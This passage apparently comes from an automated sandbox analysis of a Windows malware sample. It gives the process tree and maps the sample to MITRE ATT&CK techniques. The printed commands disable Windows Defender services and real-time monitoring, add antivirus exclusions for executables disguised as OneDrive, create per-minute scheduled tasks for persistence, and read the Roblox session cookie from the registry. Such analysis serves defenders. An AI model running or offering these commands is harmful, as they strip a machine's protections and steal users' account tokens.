  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
      4⤵
      PID:4652
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      Modifies registry class
      PID:2260
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      Modifies registry class
      PID:3872
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      Modifies registry class
      PID:3548
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      PID:2524
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      PID:2276
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      PID:2684
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      PID:5736
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies security service
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\clear_av.bat" "
    3⤵
    PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anti_pros_disp.bat" "
    3⤵
    PID:1420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FunChecker.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:972
- - C:\Users\Admin\AppData\Local\Temp\system32.exe
    "C:\Users\Admin\AppData\Local\Temp\system32.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Drops file in Drivers directory
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Checks whether UAC is enabled
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4276
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5304
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5428
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:700
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:3584
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      PID:812
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5368
- - C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe
    "C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Drops startup file
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4080
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5228
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5504
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft OneDrive" /tr "C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5236
- - C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Drops startup file
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4332
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5604
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4216
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\FunCheker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:860
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FunCheker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6064
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "FunCheker" /tr "C:\Users\Admin\AppData\Roaming\FunCheker.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5332

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion